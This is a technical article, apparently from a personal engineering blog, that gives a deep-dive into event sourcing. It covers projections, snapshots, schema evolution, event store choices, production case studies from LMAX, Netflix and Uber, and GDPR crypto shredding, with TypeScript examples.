- [The impossibility of exactly-once delivery](https://blog.bulloak.io/post/20200917-the-impossibility-of-exactly-once/) - Theoretical foundations
- [You Cannot Have Exactly-Once Delivery](https://bravenewgeek.com/you-cannot-have-exactly-once-delivery/) - Why true exactly-once is impossible

---

## Event Sourcing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/event-sourcing-deep-dive
**Category:** System Design / Core Distributed Patterns
**Description:** A deep-dive into event sourcing: understanding the core pattern, implementation variants, snapshot strategies, schema evolution, and production trade-offs across different architectures.

# Event Sourcing

A deep-dive into event sourcing: understanding the core pattern, implementation variants, snapshot strategies, schema evolution, and production trade-offs across different architectures.

<figure>

![Event sourcing architecture: commands produce events stored immutably; projections derive read models; state rebuilt by replaying events from snapshots.](./event-sourcing-architecture-commands-produce-events-stored-immutably-projections.svg)

<figcaption>Event sourcing architecture: commands produce events stored immutably; projections derive read models; state rebuilt by replaying events from snapshots.</figcaption>
</figure>

## Abstract

Event sourcing stores application state as a sequence of immutable events rather than current state. The core insight: **events are facts that happened—they cannot be deleted or modified, only appended**. State is derived by replaying events (a "left fold" over the event stream).

Key mental model:

- **Write path**: Commands → Validation → Event(s) → Append to stream
- **Read path**: Subscribe to events → Project into read-optimized models
- **Recovery**: Snapshot + Replay events since snapshot = Current state

Design decisions after choosing event sourcing:

1. **Stream granularity**: Per-aggregate (common) vs shared streams (rare)
2. **Projection strategy**: Synchronous (strong consistency) vs async (eventual)
3. **Snapshot policy**: Event-count vs time-based vs state-triggered
4. **Schema evolution**: Upcasting (transform on read) vs stream transformation (migrate data)

Event sourcing is not CQRS (Command Query Responsibility Segregation), but with event sourcing you must use CQRS—reads come from projections, not the event store.

## The Problem

### Why Naive Solutions Fail

**Approach 1: Mutable state in a database (CRUD)**

- **Fails because**: Current state overwrites history. You cannot answer "what was the balance at 3pm yesterday?" without separate audit logging.
- **Example**: A bank account shows $500. A customer disputes a charge. Without event history, proving what transactions occurred requires mining application logs—if they exist.

**Approach 2: Adding audit tables alongside CRUD**

- **Fails because**: Audit tables and current state can diverge. The audit is a second-class citizen—queries hit current state, audits are bolted on.
- **Example**: A bug updates the balance without writing to the audit table. Now the audit and state disagree. Which is correct?

**Approach 3: Database triggers for audit logging**

- **Fails because**: Triggers capture "what changed," not "why it changed." You see "balance changed from 600 to 500" but not "customer withdrew $100 at ATM #4421."
- **Example**: Debugging why an order was cancelled. Trigger logs show "status changed to CANCELLED" but not "cancelled by customer due to shipping delay."

### The Core Challenge

The fundamental tension: **optimized writes vs queryable history**. CRUD optimizes for writes (overwrite current state) but sacrifices history. Audit logging preserves history but creates dual-write complexity and semantic loss.

Event sourcing exists to make **events the single source of truth**—current state becomes a derived view that can be rebuilt at any time.

## Pattern Overview

### Core Mechanism

Every state change is captured as an immutable event appended to an event stream. Current state is derived by replaying events from the beginning (or from a snapshot).

From Martin Fowler's foundational definition:

> "Capture all changes to an application state as a sequence of events."

Events are structured facts:

```typescript collapse={1-3}
// Event structure
interface DomainEvent {
  eventId: string // Unique identifier
  streamId: string // Aggregate this event belongs to
  eventType: string // e.g., "OrderPlaced", "ItemAdded"
  data: unknown // Event-specific payload
  metadata: {
    timestamp: Date
    version: number // Position in stream
    causationId?: string // What caused this event
    correlationId?: string // Request/saga identifier
  }
}
```

State reconstruction follows a deterministic left-fold:

```
currentState = events.reduce(applyEvent, initialState)
```

### Key Invariants

1. **Append-only**: Events are never updated or deleted. The event store is an immutable log.
2. **Deterministic replay**: Given the same events in the same order, replay produces identical state.
3. **Event ordering**: Events within a stream are totally ordered by version number.
4. **Idempotent projections**: Projections must handle duplicate event delivery gracefully.

### Failure Modes

| Failure                          | Impact                                                | Mitigation                                          |
| -------------------------------- | ----------------------------------------------------- | --------------------------------------------------- |
| Event store unavailable          | Commands blocked; reads from projections may continue | Multi-region replication; read replicas             |
| Projection lag                   | Stale read models                                     | Monitor lag; circuit breaker on staleness threshold |
| Event schema mismatch            | Projection crashes or produces incorrect state        | Schema registry; upcasting; versioned projections   |
| Unbounded event growth           | Replay becomes prohibitively slow                     | Snapshots; event archival to cold storage           |
| Concurrent writes to same stream | Optimistic concurrency violation                      | Retry with conflict resolution; smaller aggregates  |

## Design Paths

### Path 1: Pure Event Sourcing

**When to choose this path:**

- Audit trail is a regulatory requirement (finance, healthcare)
- Temporal queries are core functionality ("what was the state on date X?")
- Domain naturally expresses state changes as events
- You need to rebuild projections for new query patterns

**Key characteristics:**

- Events are the **only** source of truth
- All read models are projections derived from events
- No direct database writes outside the event store
- State can be fully rebuilt from events at any time

**Implementation approach:**

```typescript collapse={1-5, 15-25}
// Pure event sourcing: aggregate loaded from events
interface Aggregate<TState, TEvent> {
  state: TState
  version: number
}

// Command handler pattern
async function handle<TState, TEvent>(
  command: Command,
  loadAggregate: (id: string) => Promise<Aggregate<TState, TEvent>>,
  decide: (state: TState, command: Command) => TEvent[],
  appendEvents: (streamId: string, expectedVersion: number, events: TEvent[]) => Promise<void>,
): Promise<void> {
  const aggregate = await loadAggregate(command.aggregateId)
  const newEvents = decide(aggregate.state, command)
  await appendEvents(command.aggregateId, aggregate.version, newEvents)
}

// Loading aggregate from event store
async function loadAggregate<TState, TEvent>(
  streamId: string,
  eventStore: EventStore,
  evolve: (state: TState, event: TEvent) => TState,
  initialState: TState,
): Promise<Aggregate<TState, TEvent>> {
  const events = await eventStore.readStream(streamId)
  const state = events.reduce(evolve, initialState)
  return { state, version: events.length }
}
```

**Real-world example:**

LMAX Exchange processes 6 million orders per second using pure event sourcing. Their Business Logic Processor runs entirely in-memory, single-threaded. Events are the recovery mechanism—on restart, they replay from last snapshot plus subsequent events to reconstruct state in milliseconds.

Key implementation details:

- Ring buffer (Disruptor) handles I/O concurrency: 20 million slots for input
- Latency: sub-50 nanosecond event processing (mean latency 3 orders of magnitude below queue-based approaches)
- Nightly snapshots; BLP restarts every night with zero downtime via replication

**Trade-offs vs other paths:**

| Aspect                  | Pure Event Sourcing              | Hybrid (ES + CRUD)                          |
| ----------------------- | -------------------------------- | ------------------------------------------- |
| Audit completeness      | Full history guaranteed          | Partial—only ES domains audited             |
| Query flexibility       | Build any projection from events | Some data may not be projectable            |
| Complexity              | Higher—must project all reads    | Lower—CRUD for simple domains               |
| Migration cost          | Very high (all-or-nothing)       | Incremental                                 |
| Team expertise required | Event-driven thinking throughout | Can isolate ES to specific bounded contexts |

### Path 2: Hybrid Event Sourcing (ES + CRUD)

**When to choose this path:**

- Some domains require audit trails; others don't
- Team has mixed experience with event-driven architecture
- Migrating from existing CRUD system incrementally
- Read-heavy workloads where projection lag is unacceptable for some data

**Key characteristics:**

- Core business domains use event sourcing (orders, transactions, inventory)
- Supporting domains use CRUD (user preferences, product catalog)
- Clear boundaries between ES and CRUD contexts
- Events may be published from CRUD systems for integration

**Implementation approach:**

```typescript collapse={1-3}
// Hybrid: Event-sourced orders, CRUD product catalog

// Order aggregate (event-sourced)
class OrderAggregate {
  apply(event: OrderEvent): void {
    switch (event.type) {
      case "OrderPlaced":
        this.status = "placed"
        this.items = event.data.items
        break
      case "OrderShipped":
        this.status = "shipped"
        break
    }
  }
}

// Product service (CRUD with event publishing)
class ProductService {
  async updatePrice(productId: string, newPrice: number): Promise<void> {
    // CRUD update
    await this.db.products.update(productId, { price: newPrice })
    // Publish event for downstream consumers (not source of truth)
    await this.eventBus.publish({ type: "PriceUpdated", productId, newPrice })
  }
}
```

**Real-world example:**

Walmart's Inventory Availability System uses hybrid event sourcing. The inventory domain is fully event-sourced to track every stock movement. Product catalog data (descriptions, images) remains in traditional databases. Events from inventory updates feed projections that power real-time availability queries for millions of customers.

Key details:

- Events partitioned by product-node ID for scalability
- Command processor validates business rules before event emission
- Read and write sides use different tech stacks, scaled independently

**Trade-offs vs pure ES:**

| Aspect                 | Hybrid                                      | Pure ES                           |
| ---------------------- | ------------------------------------------- | --------------------------------- |
| Migration path         | Gradual, bounded context by context         | Big-bang or strangler pattern     |
| Team adoption          | Easier—ES expertise not required everywhere | Requires organization-wide buy-in |
| Consistency            | Mixed—ES domains eventual, CRUD immediate   | Eventual consistency throughout   |
| Operational complexity | Higher—two paradigms to operate             | Single paradigm (but complex)     |

### Path 3: Event Sourcing with Synchronous Projections

**When to choose this path:**

- Strong consistency between writes and reads required
- Projection latency is unacceptable
- Lower throughput acceptable for consistency guarantee
- Single-node or low-scale deployments

**Key characteristics:**

- Projections updated in same transaction as event append
- Read model immediately reflects write
- No eventual consistency concerns
- Limited scalability—projection work blocks command processing

**Implementation approach:**

```typescript collapse={1-2, 18-22}
// Synchronous projection: update read model in same transaction
async function handleCommand(command: PlaceOrderCommand): Promise<void> {
  await db.transaction(async (tx) => {
    // 1. Load aggregate
    const order = await loadFromEvents(tx, command.orderId)

    // 2. Execute business logic
    const events = order.place(command.items)

    // 3. Append events
    await appendEvents(tx, command.orderId, events)

    // 4. Update projection synchronously
    for (const event of events) {
      await updateOrderListProjection(tx, event)
      await updateInventoryProjection(tx, event)
    }
  })
  // Transaction commits: events + projections atomically
}
```

**Real-world example:**

Marten (for .NET/PostgreSQL) supports inline projections that run within the same database transaction as event appends. This guarantees that when a command succeeds, the read model is immediately consistent.

From Marten documentation: inline projections are "run as part of the same transaction as the events being captured and updated in the underlying database as well."

**Trade-offs:**

| Aspect            | Synchronous Projections                 | Async Projections                    |
| ----------------- | --------------------------------------- | ------------------------------------ |
| Consistency       | Strong—reads reflect writes immediately | Eventual—lag between write and read  |
| Throughput        | Lower—projection work blocks writes     | Higher—writes return without waiting |
| Scalability       | Limited by projection cost              | Projections scale independently      |
| Failure isolation | Projection failure fails the write      | Write succeeds; projection can retry |

### Path 4: Event Sourcing with Asynchronous Projections

**When to choose this path:**

- High write throughput required
- Eventual consistency acceptable
- Projections are expensive (aggregations, joins)
- Need to scale reads independently of writes

**Key characteristics:**

- Events appended to store; command returns immediately
- Background processes subscribe to event streams
- Projections catch up asynchronously
- Must handle out-of-order delivery, duplicates, and lag

**Implementation approach:**

```typescript collapse={1-4, 20-28}
// Async projection with checkpointing
interface ProjectionState {
  lastProcessedPosition: number
  // projection-specific state
}

async function runProjection(
  subscription: EventSubscription,
  project: (state: ProjectionState, event: DomainEvent) => ProjectionState,
  checkpoint: (position: number) => Promise<void>,
): Promise<void> {
  let state = await loadProjectionState()

  for await (const event of subscription.fromPosition(state.lastProcessedPosition)) {
    state = project(state, event)

    // Checkpoint periodically (not every event—batching for performance)
    if (event.position % 100 === 0) {
      await checkpoint(event.position)
    }
  }
}

// Idempotent projection handling duplicates
function projectOrderPlaced(state: OrderListState, event: OrderPlacedEvent): OrderListState {
  // Skip if already processed (idempotency)
  if (state.processedEventIds.has(event.eventId)) {
    return state
  }

  return {
    ...state,
    orders: [...state.orders, { id: event.data.orderId, status: "placed" }],
    processedEventIds: state.processedEventIds.add(event.eventId),
  }
}
```

**Real-world example:**

Netflix's Downloads feature (launched November 2016) uses Cassandra-backed event sourcing with async projections. The team built this in six months, transforming from a stateless to stateful service.

Key implementation details:

- Three components: Event Store, Aggregate Repository, Aggregate Service
- Projections rebuild on-demand for debugging
- Horizontal scaling limited only by disk space

**Trade-offs:**

| Aspect            | Async Projections                          | Sync Projections                    |
| ----------------- | ------------------------------------------ | ----------------------------------- |
| Write latency     | Low—return immediately                     | Higher—wait for projections         |
| Read freshness    | Eventual (seconds to minutes lag)          | Immediate                           |
| Failure isolation | Yes—projection failures don't block writes | No—projection failure fails command |
| Complexity        | Higher—handle duplicates, ordering, lag    | Lower—transactional guarantees      |

### Decision Framework

![Diagram](./diagram-1.svg)

## Snapshot Strategies

Replaying thousands of events for every command becomes prohibitive. Snapshots store materialized state at a point in time, enabling replay from snapshot + recent events.

### When to Snapshot

From the EventStoreDB team: "Do not add snapshots right away. They are not needed at the beginning."

Add snapshots when:

- Aggregate event counts exceed hundreds (measure first)
- Load times impact user experience or SLAs
- Cold start times are unacceptable

### Snapshot Approaches

| Strategy            | Trigger                                      | Pros                            | Cons                                    |
| ------------------- | -------------------------------------------- | ------------------------------- | --------------------------------------- |
| **Event-count**     | Every N events (e.g., 100)                   | Predictable load times          | May snapshot unnecessarily              |
| **Time-based**      | Every N hours/days                           | Operational simplicity          | Variable event counts between snapshots |
| **State-triggered** | On significant transitions (draft→published) | Snapshots at natural boundaries | Requires domain knowledge               |
| **On-demand**       | When load time exceeds threshold             | Only when needed                | First slow load before snapshot exists  |

### Implementation

```typescript collapse={1-5, 22-30}
// Snapshot-aware aggregate loading
interface Snapshot<TState> {
  state: TState
  version: number
  schemaVersion: number // For schema evolution
}

async function loadWithSnapshot<TState, TEvent>(
  streamId: string,
  eventStore: EventStore,
  snapshotStore: SnapshotStore,
  evolve: (state: TState, event: TEvent) => TState,
  initialState: TState,
): Promise<{ state: TState; version: number }> {
  // Try loading snapshot first
  const snapshot = await snapshotStore.load<TState>(streamId)

  const startVersion = snapshot?.version ?? 0
  const startState = snapshot?.state ?? initialState

  // Replay only events after snapshot
  const events = await eventStore.readStream(streamId, { fromVersion: startVersion + 1 })
  const state = events.reduce(evolve, startState)

  return { state, version: startVersion + events.length }
}

// Snapshot after command if threshold exceeded
async function maybeSnapshot<TState>(
  streamId: string,
  state: TState,
  version: number,
  snapshotStore: SnapshotStore,
  threshold: number = 100,
): Promise<void> {
  const lastSnapshot = await snapshotStore.getVersion(streamId)
  if (version - lastSnapshot > threshold) {
    await snapshotStore.save(streamId, { state, version, schemaVersion: 1 })
  }
}
```

### Schema Evolution for Snapshots

When snapshot schema changes:

1. Increment `schemaVersion` in new snapshots
2. On load, check `schemaVersion`
3. If outdated, discard snapshot and rebuild from events

This is simpler than migrating snapshots—events are the source of truth; snapshots are ephemeral optimization.

## Event Schema Evolution

Events are immutable and stored forever. Schema changes must be backward-compatible or handled via transformation.

### Core Principle

From Greg Young (EventStoreDB creator):

> "A new version of an event must be convertible from the old version. If not, it is not a new version but a new event."

### Evolution Strategies

#### Strategy 1: Additive Changes (Preferred)

Add optional fields; never remove or rename.

```typescript collapse={1-3}
// Version 1
interface OrderPlacedV1 {
  orderId: string
  customerId: string
  items: OrderItem[]
}

// Version 2: Added optional field
interface OrderPlacedV2 {
  orderId: string
  customerId: string
  items: OrderItem[]
  discountCode?: string // New optional field
}

// Projection handles both
function projectOrder(event: OrderPlacedV1 | OrderPlacedV2): Order {
  return {
    id: event.orderId,
    customerId: event.customerId,
    items: event.items,
    discountCode: "discountCode" in event ? event.discountCode : undefined,
  }
}
```

#### Strategy 2: Upcasting (Transform on Read)

Transform old events to new schema when reading.

```typescript collapse={1-4, 18-22}
// Upcaster transforms old schema to current schema
type Upcaster<TOld, TNew> = (old: TOld) => TNew

const orderPlacedUpcasters: Map<number, Upcaster<unknown, OrderPlacedV3>> = new Map([
  [
    1,
    (v1: OrderPlacedV1) => ({
      ...v1,
      discountCode: undefined,
      source: "unknown", // Default for old events
    }),
  ],
  [
    2,
    (v2: OrderPlacedV2) => ({
      ...v2,
      source: "unknown",
    }),
  ],
])

function upcast(event: StoredEvent): DomainEvent {
  const upcaster = orderPlacedUpcasters.get(event.schemaVersion)
  return upcaster ? upcaster(event.data) : event.data
}
```

**When to use**: Schema changes are frequent; you want projections to only handle the latest version.

**Trade-off**: CPU cost on every read; upcaster chain grows over time.

#### Strategy 3: Stream Transformation (Migrate Data)

Rewrite the event stream with transformed events during a release window.

**When to use**: Breaking changes that upcasting cannot handle; reducing technical debt from long upcaster chains.

**Trade-off**: Requires downtime or careful blue-green deployment; must preserve event IDs and ordering.

**Warning from Greg Young**: "Updating an existing event can cause large problems." Prefer stream transformations (copy with transform) over in-place modification.

### Schema Registry

For production systems, use a schema registry:

- Store event schemas with versions
- Validate events against schema on write
- Reject events that don't conform
- Generate types from schemas (Avro, Protobuf, JSON Schema)

## Projections and Read Models

Projections transform event streams into query-optimized read models.

### Projection Lifecycle (Marten Model)

| Type       | Execution                  | Consistency     | Use Case                              |
| ---------- | -------------------------- | --------------- | ------------------------------------- |
| **Inline** | Same transaction as events | Strong          | Critical reads; simple projections    |
| **Async**  | Background process         | Eventual        | Complex aggregations; high throughput |
| **Live**   | On-demand, not persisted   | None (computed) | One-time analytics; debugging         |

### Building Projections

```typescript collapse={1-6}
// Projection as left-fold over events
interface Projection<TState> {
  initialState: TState
  apply: (state: TState, event: DomainEvent) => TState
}

// Order list projection for dashboard
const orderListProjection: Projection<OrderListState> = {
  initialState: { orders: [], totalRevenue: 0 },

  apply(state, event) {
    switch (event.type) {
      case "OrderPlaced":
        return {
          ...state,
          orders: [...state.orders, { id: event.data.orderId, status: "placed", total: event.data.total }],
          totalRevenue: state.totalRevenue + event.data.total,
        }
      case "OrderShipped":
        return {
          ...state,
          orders: state.orders.map((o) => (o.id === event.data.orderId ? { ...o, status: "shipped" } : o)),
        }
      case "OrderRefunded":
        return {
          ...state,
          orders: state.orders.map((o) => (o.id === event.data.orderId ? { ...o, status: "refunded" } : o)),
          totalRevenue: state.totalRevenue - event.data.refundAmount,
        }
      default:
        return state
    }
  },
}
```

### Rebuilding Projections

Since events are source of truth, projections can be rebuilt at any time:

1. Drop existing projection state
2. Replay all events through projection logic
3. New projection reflects current business logic

**Use cases**:

- Bug fix in projection logic
- New read model for new query pattern
- Schema change in read database

**Warning**: Rebuilding from millions of events takes time. For Netflix Downloads, "re-runs took DAYS to complete" during development—mitigated by snapshots and event archival.

### Cross-Projection Dependencies

**Problem**: Projection A depends on Projection B's state. During replay, B may not be at the same position as A.

From Dennis Doomen's production experience:

> "Rebuilding projection after schema upgrade caused projector to read from another projection that was at a different state in the event store's history."

**Solutions**:

1. **Single-pass projections**: Project to denormalized models; avoid joins at projection time
2. **Explicit dependencies**: Projections declare dependencies; rebuild engine ensures correct ordering
3. **Position tracking**: Each projection tracks which events it has seen; dependent projections wait

## Event Store Technologies

### EventStoreDB (KurrentDB)

Purpose-built for event sourcing.

**Performance characteristics**:

- 15,000+ writes/second
- 50,000+ reads/second
- Quorum-based replication (majority must acknowledge)

**Strengths**:

- Native event sourcing primitives (streams, subscriptions, projections)
- Optimistic concurrency per stream
- Persistent subscriptions with checkpointing
- Built-in projections in JavaScript

**Limitations**:

- No built-in sharding (must implement at application level)
- Performance bounded by disk I/O
- Read-only replicas require cluster connection

### Apache Kafka

Designed for event streaming, not event sourcing.

**Why Kafka is problematic for event sourcing** (from Serialized.io):

1. **Topic scalability**: Not designed for millions of topics (aggregates can easily reach millions)
2. **Entity loading**: No practical way to load events for specific entity by ID within a topic
3. **No optimistic concurrency**: Cannot do "save this event only if version is still X"
4. **Compaction destroys history**: Log compaction keeps only latest value per key—antithetical to event sourcing

**Where Kafka fits**: Transport layer for events to downstream consumers. Use dedicated event store for source of truth, Kafka for integration.

### PostgreSQL-Backed Stores

Use relational database as event store.

**Implementation patterns**:

- **Transactional outbox**: Events + state change in same transaction
- **LISTEN/NOTIFY**: PostgreSQL async notifications for real-time subscriptions
- **Advisory locks**: Application-level locking for projection synchronization

**Libraries**: Marten (.NET), pg-event-store (Node.js), Eventide (Ruby)

**Trade-offs**:

| Aspect                    | PostgreSQL                      | EventStoreDB                       |
| ------------------------- | ------------------------------- | ---------------------------------- |
| Operational familiarity   | High (existing expertise)       | New technology to learn            |
| Event sourcing primitives | Must build or use library       | Native                             |
| Transactions              | Full ACID with application data | Event store separate from app DB   |
| Scaling                   | Traditional DB scaling          | Purpose-built but limited sharding |

### Cloud Services

**AWS EventBridge**: Event routing and orchestration; not an event store. 90+ AWS service integrations. Use for serverless event-driven architectures, not as source of truth.

**Azure Event Hubs**: High-volume event ingestion (millions/second). Kafka-compatible. Geo-disaster recovery. Similar caveats as Kafka for event sourcing.

## Production Implementations

### LMAX: 6 Million Orders/Second

**Context**: Financial exchange requiring ultra-low latency and complete audit trail.

**Architecture**:

- Business Logic Processor (BLP): Single-threaded, in-memory, event-sourced
- Disruptor: Lock-free ring buffer for I/O (25M+ messages/second, sub-50ns latency)
- Replication: Three BLPs process all input events (two in primary DC, one DR)

**Specific details**:

- Ring buffers: 20M slots (input), 4M slots (output each)
- Nightly snapshots; BLPs restart nightly with zero downtime
- Cryptographic operations offloaded from core logic
- Validation split: state-independent checks before BLP, state-dependent in BLP

**What worked**: In-memory event sourcing eliminated database as bottleneck.

**What was hard**: Debugging distributed replay; ensuring determinism in business logic.

**Source**: [Martin Fowler - LMAX Architecture](https://martinfowler.com/articles/lmax.html)

### Netflix Downloads: Six-Month Build

**Context**: November 2016 feature launch requiring stateful service (download tracking, licensing) built in months.

**Architecture**:

- Cassandra-backed event store
- Three components: Event Store, Aggregate Repository, Aggregate Service
- Async projections for query optimization

**Specific details**:

- Horizontal scaling: only disk space was the constraint
- Projections rebuilt during debugging/development
- Full auditing enabled rapid issue diagnosis

**What worked**: Event sourcing flexibility enabled pivoting requirements during development.

**What was hard**: Rebuild times during development ("re-runs took DAYS")—mitigated by snapshotting.

**Source**: [InfoQ - Scaling Event Sourcing for Netflix Downloads](https://www.infoq.com/presentations/netflix-scale-event-sourcing/)

### Uber Cadence: Durable Execution at Scale

**Context**: Workflow orchestration for hundreds of applications across Uber.

**Architecture**:

- Event sourcing for workflow state (deterministic replay)
- Components: Front End, History Service, Matching Service
- Cassandra backend

**Specific details**:

- Multitenant clusters with hundreds of domains each
- Single service supports 100+ applications
- Worker Goroutines reduced from 16K to 100 per history host (95%+ reduction)

**Key insight**: Workflows are event-sourced—state reconstructed by replaying historical events. Cadence (and its fork, Temporal) demonstrates event sourcing for durable execution, not just data storage.

**Source**: [Uber Engineering - Cadence Overview](https://www.uber.com/blog/open-source-orchestration-tool-cadence-overview/)

### Implementation Comparison

| Aspect            | LMAX               | Netflix Downloads | Uber Cadence           |
| ----------------- | ------------------ | ----------------- | ---------------------- |
| Domain            | Financial exchange | Media licensing   | Workflow orchestration |
| Events/second     | 6M orders          | Not disclosed     | Hundreds of domains    |
| Consistency       | Single-threaded    | Eventual          | Per-workflow           |
| Storage           | In-memory + disk   | Cassandra         | Cassandra              |
| Snapshot strategy | Nightly            | As needed         | Per-workflow history   |
| Team size         | Small, specialized | 6-month team      | Platform team          |

## Common Pitfalls

### 1. Unbounded Event Growth

**The mistake**: Not planning for event retention or archival.

**Example**: Financial app storing every price tick (millions/day). After one year, rebuilding account balances requires replaying 3TB of events. Queries take minutes; cold starts are impossible.

**Solutions**:

- **Snapshots**: Every N events or time period
- **Archival**: Move events older than N days to cold storage (S3, Glacier)
- **Temporal streams**: Segment streams by time period (orders-2024-Q1)

### 2. Assuming Event Order Guarantees

**The mistake**: Building logic that assumes "event A always comes before event B."

**Reality** (from production war stories): "Events are duplicated, delayed, reordered, partially processed, or replayed long after the context that created them has changed."

**Example**: Projection assumes `OrderPlaced` arrives before `OrderShipped`. During backfill, events arrive out of order; projection crashes.

**Solutions**:

- Treat each event as independent input
- Build projections that handle any arrival order
- Use event timestamps for ordering within projections, not arrival order

### 3. Dual-Write to Event Store and Downstream

**The mistake**: Writing event to store, then publishing to message queue in separate operations.

**Example**: `appendEvent()` succeeds, `publishToKafka()` fails. Event exists but downstream never sees it.

**Solutions**:

- **Transactional outbox**: Write event + outbox entry in same transaction; separate process polls outbox
- **Change Data Capture (CDC)**: Database-level capture of event table changes
- **Event store with built-in pub/sub**: EventStoreDB subscriptions

### 4. Projection Complexity Explosion

**The mistake**: Building projections with complex joins, aggregations, and cross-stream queries.

**Example**: "Order revenue by region by product category by month" projection requires joining order events, product catalog, and region data. Rebuild takes hours.

**Solutions**:

- Denormalize aggressively at projection time
- Accept data duplication in read models
- Build multiple focused projections vs one complex one
- Consider whether query belongs in analytics layer (data warehouse)

### 5. Schema Migration Nightmares

**The mistake**: Changing event schemas without migration strategy.

**Example** (from production): Team added `discount_code` field to `OrderPlaced` events. Old projections ignored it. Replay applied 2024 logic to 2022 events, giving customers unintended discounts.

**Solutions**:

- **Additive changes only**: New optional fields with defaults
- **Versioned projections**: Tag projections with compatible schema versions
- **Code version in events**: Every event carries code version that created it
- **Upcasters**: Transform old events to current schema on read

### 6. "Time Travel Debugging" Oversold

**The mistake**: Expecting event sourcing to make debugging trivial.

**Reality** (from Chris Kiehl's experience): "99% of the time 'bad states' were bad events caused by standard run-of-the-mill human error. Having a ledger provided little value over normal debugging intuition."

**Practical questions**:

- How do you apply time-travel on production data?
- How do you inspect intermediate states if events are in binary format?
- How do you fix bugs for users already impacted?

**Example**: "Order stuck in pending for 3 hours" took 6 hours to debug—what would've been a 20-minute fix in CRUD required understanding the full event history.

**Solution**: Event sourcing provides audit capability, not magic debugging. Invest in:

- Event visualization tooling
- Projection debugging (show state at any event)
- Compensating event workflows for fixing bad state

## GDPR and Data Deletion

Event sourcing's immutability conflicts with "right to be forgotten."

### Crypto Shredding Pattern

From Mathias Verraes:

**How it works**:

1. Store personal data encrypted in event store (not plaintext)
2. Store encryption key separately (different database/filesystem)
3. When user requests deletion, delete only the encryption key
4. Encrypted data becomes permanently unreadable

**Implementation**:

```typescript collapse={1-4, 18-25}
// Events store only encrypted personal data
interface OrderPlacedEvent {
  orderId: string
  customerRef: string // Reference to customer, not PII
  encryptedCustomerData: string // AES-encrypted name, address
  items: OrderItem[]
}

// Key storage separate from event store
interface CustomerKeyStore {
  getKey(customerRef: string): Promise<CryptoKey | null>
  deleteKey(customerRef: string): Promise<void> // "Forget" customer
}

// Projection decrypts only if key exists
async function projectOrder(event: OrderPlacedEvent, keyStore: CustomerKeyStore): Promise<OrderReadModel> {
  const key = await keyStore.getKey(event.customerRef)
  const customerData = key
    ? await decrypt(event.encryptedCustomerData, key)
    : { name: "[deleted]", address: "[deleted]" }

  return {
    orderId: event.orderId,
    customerName: customerData.name,
    // ...
  }
}
```

**Benefits**:

- Event stream remains intact (immutable)
- Deleting key effectively removes data from all backups
- Existing events still queryable for non-personal data

**Legal caveat**: GDPR states encrypted personal information is still personal information. Some legal interpretations argue crypto shredding may not be fully compliant. Consult legal counsel.

### Forgettable Payloads Alternative

Store personal data in separate database; events contain only references.

**Trade-off**: Requires joins at read time; personal data store becomes another system to maintain.

## Conclusion

Event sourcing replaces mutable state with an immutable log of domain events. Current state is derived, not stored. This enables complete audit trails, temporal queries, and projection flexibility—at the cost of increased complexity, eventual consistency, and schema evolution challenges.

Key takeaways:

1. **Not a silver bullet**: CQRS/ES adds complexity. Use only for bounded contexts where audit trails or temporal queries justify the cost.
2. **Design decisions multiply**: Stream granularity, projection strategy, snapshot policy, and schema evolution must all be decided.
3. **Production realities differ from theory**: Real systems handle out-of-order events, duplicate delivery, projection lag, and schema migrations.
4. **Start simple**: No snapshots initially. Synchronous projections if consistency matters. Add complexity only when measured.
5. **Kafka is not an event store**: Purpose-built stores (EventStoreDB) or database-backed solutions (Marten, PostgreSQL) are better fits.

## Appendix

### Prerequisites

- Understanding of domain-driven design (aggregates, bounded contexts)
- Familiarity with distributed systems consistency models (eventual vs strong)
- Basic understanding of CQRS (Command Query Responsibility Segregation)

### Terminology

| Term                       | Definition                                                                |
| -------------------------- | ------------------------------------------------------------------------- |
| **Event**                  | Immutable fact representing something that happened in the domain         |
| **Stream**                 | Ordered sequence of events for an aggregate                               |
| **Projection**             | Read model derived by applying events to initial state                    |
| **Snapshot**               | Materialized state at a point in time; optimization for replay            |
| **Upcasting**              | Transforming old event schema to current schema on read                   |
| **Aggregate**              | DDD concept; consistency boundary containing related entities             |
| **Left-fold**              | Reducing a sequence to a single value by applying a function cumulatively |
| **Optimistic concurrency** | Conflict detection by checking version hasn't changed since read          |
| **Transactional outbox**   | Pattern for reliable event publishing within database transaction         |

### Summary

- **Core pattern**: State = replay(events). Events are immutable facts; current state is derived.
- **Design paths**: Pure ES vs hybrid; sync vs async projections. Choose based on consistency and throughput requirements.
- **Snapshots**: Add when replay time becomes problematic. Event-count or time-based triggers.
- **Schema evolution**: Additive changes preferred. Upcasting for breaking changes. Never modify existing events in place.
- **Production reality**: Handle out-of-order events, duplicates, projection lag, and unbounded growth.
- **GDPR**: Crypto shredding pattern separates encryption keys from encrypted data.

### References

#### Foundational Sources

- [Martin Fowler - Event Sourcing](https://martinfowler.com/eaaDev/EventSourcing.html) - Original definition and patterns
- [Martin Fowler - CQRS](https://martinfowler.com/bliki/CQRS.html) - CQRS relationship and warnings
- [Greg Young - CQRS Documents](https://cqrs.files.wordpress.com/2010/11/cqrs_documents.pdf) - Comprehensive CQRS/ES guide from the pattern's creator
- [Microsoft - Exploring CQRS and Event Sourcing](https://www.microsoft.com/en-us/download/details.aspx?id=34774) - Reference implementation with Greg Young foreword

#### Production Case Studies

- [Martin Fowler - LMAX Architecture](https://martinfowler.com/articles/lmax.html) - 6M orders/second event sourcing
- [Netflix Tech Blog - Scaling Event Sourcing for Downloads](https://netflixtechblog.com/scaling-event-sourcing-for-netflix-downloads-episode-2-ce1b54d46eec) - Six-month build case study
- [Walmart Global Tech - Inventory Availability System](https://medium.com/walmartglobaltech/design-inventory-availability-system-using-event-sourcing-1d0f022e399f) - Hybrid event sourcing at scale
- [Uber Engineering - Cadence Overview](https://www.uber.com/blog/open-source-orchestration-tool-cadence-overview/) - Event sourcing for durable execution

#### Implementation Patterns

- [Event-Driven.io - Projections and Read Models](https://event-driven.io/en/projections_and_read_models_in_event_driven_architecture/) - Projection lifecycle patterns
- [Event-Driven.io - Event Versioning](https://event-driven.io/en/how_to_do_event_versioning/) - Schema evolution strategies
- [Domain Centric - Snapshotting](https://domaincentric.net/blog/event-sourcing-snapshotting) - Snapshot strategy decision framework
- [Marten Documentation](https://martendb.io/) - PostgreSQL-backed event sourcing for .NET

#### Failure Modes and Lessons

- [Dennis Doomen - The Ugly of Event Sourcing](https://www.dennisdoomen.com/2017/11/the-ugly-of-event-sourcingreal-world.html) - Production war stories
